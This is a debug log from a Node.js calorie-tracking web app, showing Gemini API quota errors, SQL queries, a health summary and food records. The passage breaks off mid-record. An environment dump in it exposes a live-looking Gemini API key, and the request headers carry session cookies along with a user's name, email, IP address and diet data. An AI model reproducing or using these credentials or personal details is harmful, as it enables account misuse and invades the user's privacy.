2025-12-17T05:09:58.209Z server-connect:output identity: 1
2025-12-17T05:15:51.232Z server-connect:app Executing action step identify
2025-12-17T05:15:51.232Z server-connect:app options: { provider: 'security' }
2025-12-17T05:15:51.232Z server-connect:output identity: 1
2025-12-17T05:15:53.201Z server-connect:app Executing action step identify
2025-12-17T05:15:53.201Z server-connect:app options: { provider: 'security' }
2025-12-17T05:15:53.201Z server-connect:output identity: 1
2025-12-17T05:16:30.840Z server-connect:app Executing action step identify
2025-12-17T05:16:30.840Z server-connect:app options: { provider: 'security' }
2025-12-17T05:16:30.840Z server-connect:output identity: 1
2025-12-17T05:16:33.201Z server-connect:app Executing action step identify
2025-12-17T05:16:33.201Z server-connect:app options: { provider: 'security' }
2025-12-17T05:16:33.201Z server-connect:output identity: 1
2025-12-17T05:19:15.451Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-17T05:19:15.451Z server-connect:app Executing action step identify
2025-12-17T05:19:15.451Z server-connect:app options: { provider: 'security' }
2025-12-17T05:19:15.452Z server-connect:output identity: 1
2025-12-17T05:19:15.452Z server-connect:app Executing action step restrict
2025-12-17T05:19:15.452Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T05:19:15.452Z server-connect:output restrict: undefined
2025-12-17T05:19:15.452Z server-connect:app Executing action step processWithGemini
2025-12-17T05:19:15.453Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
Error processing calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash\\nPlease retry in 44.378796138s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-flash\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"44s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
2025-12-17T05:19:15.653Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash\\nPlease retry in 44.378796138s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-flash\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"44s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T05:19:15.653Z server-connect:server Got error? Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 20, model: gemini-2.5-flash\\nPlease retry in 44.378796138s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-flash\"\n            },\n            \"quotaValue\": \"20\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"44s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:171:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-17T05:23:27.230Z server-connect:app Executing action step identify
2025-12-17T05:23:27.231Z server-connect:app options: { provider: 'security' }
2025-12-17T05:23:27.231Z server-connect:output identity: 1
2025-12-17T05:23:29.352Z server-connect:app Executing action step identify
2025-12-17T05:23:29.352Z server-connect:app options: { provider: 'security' }
2025-12-17T05:23:29.352Z server-connect:output identity: 1
2025-12-17T05:29:08.225Z server-connect:app Executing action step identify
2025-12-17T05:29:08.225Z server-connect:app options: { provider: 'security' }
2025-12-17T05:29:08.225Z server-connect:output identity: 1
2025-12-17T05:29:10.371Z server-connect:app Executing action step identify
2025-12-17T05:29:10.371Z server-connect:app options: { provider: 'security' }
2025-12-17T05:29:10.371Z server-connect:output identity: 1
2025-12-17T05:32:51.486Z server-connect:app Executing action step identify
2025-12-17T05:32:51.486Z server-connect:app options: { provider: 'security' }
2025-12-17T05:32:51.486Z server-connect:output identity: 1
2025-12-17T05:32:54.272Z server-connect:app Executing action step identify
2025-12-17T05:32:54.272Z server-connect:app options: { provider: 'security' }
2025-12-17T05:32:54.272Z server-connect:output identity: 1
2025-12-17T05:38:52.231Z server-connect:app Executing action step identify
2025-12-17T05:38:52.232Z server-connect:app options: { provider: 'security' }
2025-12-17T05:38:52.232Z server-connect:output identity: 1
2025-12-17T05:38:55.177Z server-connect:app Executing action step identify
2025-12-17T05:38:55.177Z server-connect:app options: { provider: 'security' }
2025-12-17T05:38:55.177Z server-connect:output identity: 1
2025-12-17T05:48:12.674Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T05:48:12.675Z server-connect:app Executing action step identify
2025-12-17T05:48:12.675Z server-connect:app options: { provider: 'security' }
2025-12-17T05:48:12.675Z server-connect:output identity: 1
2025-12-17T05:48:12.675Z server-connect:app Executing action step restrict
2025-12-17T05:48:12.675Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T05:48:12.677Z server-connect:output restrict: undefined
2025-12-17T05:48:12.677Z server-connect:router Render template layouts/main
2025-12-17T05:48:12.677Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T05:48:12.897Z server-connect:app Executing action step identify
2025-12-17T05:48:12.897Z server-connect:app options: { provider: 'security' }
2025-12-17T05:48:12.897Z server-connect:output identity: 1
2025-12-17T05:48:13.492Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T05:48:13.493Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T05:48:13.494Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T05:48:13.494Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T05:48:13.494Z server-connect:app Executing action step identify
2025-12-17T05:48:13.494Z server-connect:app options: { provider: 'security' }
2025-12-17T05:48:13.495Z server-connect:output identity: 1
2025-12-17T05:48:13.495Z server-connect:app Executing action step restrict
2025-12-17T05:48:13.495Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T05:48:13.495Z server-connect:app Executing action step identify
2025-12-17T05:48:13.495Z server-connect:app options: { provider: 'security' }
2025-12-17T05:48:13.495Z server-connect:output identity: 1
2025-12-17T05:48:13.495Z server-connect:app Executing action step restrict
2025-12-17T05:48:13.495Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T05:48:13.495Z server-connect:app Executing action step identify
2025-12-17T05:48:13.495Z server-connect:app options: { provider: 'security' }
2025-12-17T05:48:13.495Z server-connect:output identity: 1
2025-12-17T05:48:13.496Z server-connect:app Executing action step restrict
2025-12-17T05:48:13.496Z server-connect:app options: { provider: 'security' }
2025-12-17T05:48:13.496Z server-connect:output restrict: undefined
2025-12-17T05:48:13.496Z server-connect:app Executing action step single
2025-12-17T05:48:13.496Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T05:48:13.497Z server-connect:output restrict: undefined
2025-12-17T05:48:13.497Z server-connect:app Executing action step select
2025-12-17T05:48:13.497Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T05:48:13.497Z server-connect:app Executing action step identify
2025-12-17T05:48:13.497Z server-connect:app options: { provider: 'security' }
2025-12-17T05:48:13.497Z server-connect:output identity: 1
2025-12-17T05:48:13.498Z server-connect:app Executing action step restrict
2025-12-17T05:48:13.498Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T05:48:13.498Z server-connect:output restrict: undefined
2025-12-17T05:48:13.498Z server-connect:app Executing action step single
2025-12-17T05:48:13.498Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T05:48:13.498Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "The day's intake appears light, particularly in terms of overall food volume. While protein is addressed post-workout, other meals seem to be missing, which could impact energy levels and recovery. The inclusion of healthy fats from walnuts is a positive note, but the overall meal structure needs more attention to support muscle development alongside fat loss goals.",
    bad_points: [
      'Limited variety and volume of food consumed.',
      'Potential for insufficient total food intake to support muscle growth.',
      'Likely gaps in meal timing and completeness throughout the day.'
    ],
    good_points: [
      'Incorporated a post-workout protein source.',
      'Included healthy fats from walnuts.'
    ],
    suggestions: [
      'Aim to incorporate more balanced meals with sources of complex carbohydrates and fiber.',
      'Ensure regular meal timings to provide consistent energy and support muscle protein synthesis.',
      'Consider adding more protein-rich foods to other meals, not just post-workout.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T05:48:13.499Z server-connect:output restrict: undefined
2025-12-17T05:48:13.499Z server-connect:app Executing action step single
2025-12-17T05:48:13.499Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T05:48:13.500Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T05:48:13.501Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T05:48:13.502Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T05:48:13.502Z server-connect:app Executing action step select
2025-12-17T05:48:13.502Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T05:48:13.504Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
